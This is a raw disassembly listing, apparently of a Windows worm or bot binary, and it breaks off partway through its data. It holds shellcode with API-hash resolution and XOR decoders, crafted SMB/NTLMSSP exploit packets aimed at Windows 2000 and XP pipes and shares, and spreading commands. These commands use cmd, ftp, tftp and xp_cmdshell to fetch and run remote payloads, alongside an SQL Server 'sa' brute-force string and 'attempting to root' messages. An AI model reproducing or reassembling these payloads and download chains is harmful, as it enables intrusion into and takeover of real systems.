xor eax, eax cdq loc_438CB8: ; CODE XREF: sub_438C90+32j lodsb test al, al jz short loc_438CC4 ror edx, 0Dh add edx, eax jmp short loc_438CB8 ; --------------------------------------------------------------------------- loc_438CC4: ; CODE XREF: sub_438C90+2Bj cmp edx, [esp+arg_0] jnz short loc_438CAD mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_438CDD: ; CODE XREF: sub_438C90:loc_438CADj mov [esp+arg_0], ebx retn sub_438C90 endp ; =============== S U B R O U T I N E ======================================= sub_438CE2 proc near ; CODE XREF: sub_438C90+7p ; FUNCTION CHUNK AT 00438D1A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_438CFB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_438D06 ; --------------------------------------------------------------------------- loc_438CFB: ; CODE XREF: sub_438CE2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_438D06: ; CODE XREF: sub_438CE2+14j pop edi xor esi, esi pusha push esi jmp short loc_438D1A sub_438CE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_438D0D proc near ; CODE XREF: sub_438CE2:loc_438D1Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_438D0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438CE2 loc_438D1A: ; CODE XREF: sub_438CE2+29j call sub_438D0D loc_438D1F: ; DATA XREF: sub_40C9E6+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_438CE2 ; --------------------------------------------------------------------------- dw 0 dword_438D24 dd 62B0606h, 2050501h, 0A0hdword_438D30 dd 0A1h dword_438D34 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40C9E6+153o align 10h loc_438D40: ; DATA XREF: sub_40C9E6+E8o jmp short near ptr dword_438D48 ; --------------------------------------------------------------------------- align 8 dword_438D48 dd 0 aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .nsp0:0040D23Co db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h unk_438DB0 db 2 ; DATA XREF: .nsp0:0040DA4Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 73h, 71h db 6Ch ; l db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAttemptingToRo db ' attempting to root (%s:%d) user: (%s/%s).',0 unk_438DF4 db 2 ; DATA XREF: .nsp0:0040D9D0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 74h, 70h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileTransferCo db ' File transfer complete to IP: %s',0 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .nsp0:0040D9BBo align 10h ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: .nsp0:0040D987o db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 10h aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: .nsp0:0040D8EBo align 4 aSa db 'sa',0 ; DATA XREF: .nsp0:0040D83Eo align 4 dword_438F18 dd 0E983C933h, 0D9EED9AFh, 5BF42474h; --------------------------------------------------------------------------- loc_438F24: ; CODE XREF: .nsp0:00438F2Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_438F24 inc edi jz short loc_438F6B and eax, 952CE753h inc esp jle short loc_438F93 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_438F6B: ; CODE XREF: .nsp0:00438F31j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_438FCA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_438F90: ; CODE XREF: .nsp0:00438FBDj xor [esi-25h], bl loc_438F93: ; CODE XREF: .nsp0:00438F39j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_438FAC: ; CODE XREF: .nsp0:00438FDFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_438F90 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_438FCA: ; CODE XREF: .nsp0:00438F71j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_439056 jo short loc_438FAC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_438FED+1 add bl, [edi] loc_438FED: ; CODE XREF: .nsp0:00438FE9j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_439002+2 cmp ch, bh dec edx loc_439002: ; CODE XREF: .nsp0:00438FFDj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_439056: ; CODE XREF: .nsp0:00438FDDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4390DC sub al, 0BCh jmp near ptr 5445944Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_439078 dd 0EFFFC481h, 44FFFFh, 4390C4hdword_439084 dd 42Ah dword_439088 dd 3E8h dword_43908C dd 258h byte_439090 db 0 ; DATA XREF: .nsp0:0040DDCFr ; .nsp0:0040DEA6r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4390A8 dd 20804h ; .nsp0:0040DEC4o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:00439094o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4390DC: ; CODE XREF: .nsp0:00439060j push eax xor al, 29h loc_4390DF: ; DATA XREF: .nsp0:0040DDF7o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_4390E8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_4390FC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: .nsp0:0040DC51o ; sub_40E7D2+1A4o align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: .nsp0:0040DC01o ; sub_40E7D2+150o align 10h aB db '',0 ; DATA XREF: sub_40E18F+ADo dw 4400h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0 dd 0 dword_43917C dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40E18F+CEo dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0 dword_4391D8 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40E18F+E8o dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 dd 0 dword_43928C dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40E18F+102o dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 8Fh db 71h ; q db 58h, 0B9h, 2Fh db 96h ; – db 84h, 4, 0CAh db 65h ; e db 0EEh, 0FBh, 0DAh db 0CEh ; Î db 9Eh, 0AFh, 28h db 8Eh ; Ž db 0EEh, 7Ah, 54h db 69h ; i db 85h, 28h, 57h db 0 dd offset byte_52004F dd offset byte_53004B dd offset loc_410053+1 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows20002195 db 'indows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 4 dword_439384 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+119o dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_4393C4 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+130o dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0 dword_439428 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+14Ao dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_4394C0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+164o ; sub_40E18F+1DAo dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 6B001F00h, 14C658Ch, 0 dd 1000000h, 0 dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h dword_43961C dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+17Eo ; sub_40E18F+1F4o dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh dd 73819842h, 0ECB7A9FEh aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8' db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0 dword_439778 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+198o ; sub_40E18F+20Eo dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h dd 0 dd 1000000h, 0 dd 0AD91A700h, 0 dword_4398D4 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+1AFo ; sub_40E18F+225o dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 0 unk_439940 db 81h ; ; DATA XREF: sub_40E18F+283o db 2 dup(0), 44h aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0 dd 0 dword_43998C dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40E18F+2A4o dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0 dword_4399E8 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40E18F+2BEo dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 dd 0 dword_439A9C dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40E18F+2D8o dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 0A3h db 9Eh ; ž db 5Eh, 9Bh, 4 db 57h ; W db 0E3h, 15h, 0B7h db 6Fh ; o db 44h, 0E9h, 1Eh db 49h ; I db 0FEh, 0C0h, 0BEh db 0E9h ; é db 0A6h, 0A7h, 7Fh aPmiw db 'pmiW',0 dd offset byte_52004F dd offset byte_53004B dd offset loc_410053+1 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows200021_0 db 'indows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 4 dword_439B94 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+2EFo dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) db 0 db 2 dup(0), 40h db 0 db 2 dup(0), 25h db 0 db 2 dup(0), 57h aIndows200021_1 db 'indows 2000 2195',0 aWindows20005_4 db 'Windows 2000 5.0',0 align 4 dword_439BFC dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+306o dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_439C3C dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+31Do dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0 dword_439CA0 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+337o dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_439D38 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+351o ; sub_40E18F+3E0o dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0F2001F00h, 1F2207Ch, 0 dd 1000000h, 0 dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh dword_439E94 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+36Bo ; sub_40E18F+3FAo dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h dword_439FF0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+385o ; sub_40E18F+414o dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h dword_43A14C dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+39Fo ; sub_40E18F+42Eo dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h dword_43A2A8 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40E18F+3B9o ; sub_40E18F+448o dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0) dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch dd 100200h, 800000h, 0 dd 680000h, 0 dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2 dd 0BE895Bh, 20000h, 0 dd 20000h, 2EB0000h, 760000h, 2 dup(0) dword_43A378 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43A3C4 dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_43A3F4 dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_43A414 dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_43A41E: ; CODE XREF: .nsp0:0043A428j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_43A41E sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E699+96o aBindingToRpcIn db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E7D2+1D8o align 4 aFailedToConnec db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E7D2+18Eo align 4 dword_43A5CC dd 163h, 0 dword_43A5D4 dd 20804h, 0 dword_43A5DC dd 2080Ah, 0 dword_43A5E4 dd 200F1001h, 0Ah, 1001802h, 0 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 